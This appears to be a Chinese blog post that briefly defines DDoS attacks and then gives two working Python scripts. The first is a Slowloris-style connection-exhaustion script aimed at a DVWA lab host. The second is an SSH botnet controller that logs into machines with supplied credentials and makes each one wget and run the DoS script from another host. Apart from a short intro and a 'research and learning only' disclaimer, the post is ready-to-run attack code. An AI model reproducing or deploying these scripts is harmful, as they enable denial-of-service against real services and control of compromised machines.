DDoS攻击就是分布式的拒绝服务攻击,DDoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。单一的DoS攻击一般是采用一对一方式的,随着计算机与网络技术的发展,DoS攻击的困难程度加大了。于是就产生了DDoS攻击,它的原理就很简单:计算机与网络的处理能力加大了10倍,用一台攻击机来攻击不再能起作用,那么DDoS就是利用更多的傀儡机来发起进攻,以比从前更大的规模来进攻受害者。
DDoS脚本
import socket
import time
import threading
MAX_CONN = 100
PORT = 80
HOST = "10.16.53.180"
PAGE = "/DVWA"
buf = ("GET %s HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
"Content-Length: 1000000000\r\n"
"\r\n" % (PAGE, HOST))
socks = []
def conn_thread():
global socks
for i in range(0, MAX_CONN):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
s.send(bytes(buf, encoding='utf-8'))
print("[+] Send buf OK!,conn=%d" % i)
socks.append(s)
except Exception as ex:
print("[-] Could not connect to server or send error:%s" % ex)
time.sleep(2)
def send_thread():
global socks
for i in range(10):
for s in socks:
try:
s.send(bytes("ddos", encoding='utf-8'))
print("[+] send OK!")
except Exception as ex:
print("[-] send Exception:%s" % ex)
socks.remove(s)
s.close()
time.sleep(1)
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()
僵尸网络脚本
import paramiko
botnet = []
class SSHClient:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(self.host, 22, self.user, self.password)
return ssh
except Exception as e:
print(e)
print('[-] Error Connecting')
def send_command(self, cmd):
# self.session.sendline(cmd)
# self.session.prompt()
stdin, stdout, stderr = self.session.exec_command(cmd)
return stdout.read()
def botnet_command(command):
for client in botnet:
output = client.send_command(command)
print('[*] Output from ' + client.host)
print('[+] ' + output.decode())
def add_client(host, user, password):
client = SSHClient(host, user, password)
botnet.append(client)
if __name__ == '__main__':
add_client('10.16.66.71', '用户名', '密码')
# print(botnet_command('pwd'))
botnet_command('wget http://10.16.14.171/ddos.py -O ddos.py')
botnet_command('python3 ddos.py')
声明:仅仅作为研究和学习使用,请不要用此脚本恶意攻击别人。
GitHub地址
GitHub – Chenmengx/DDos: python编写的DDos攻击脚本
© 版权声明
THE END
暂无评论内容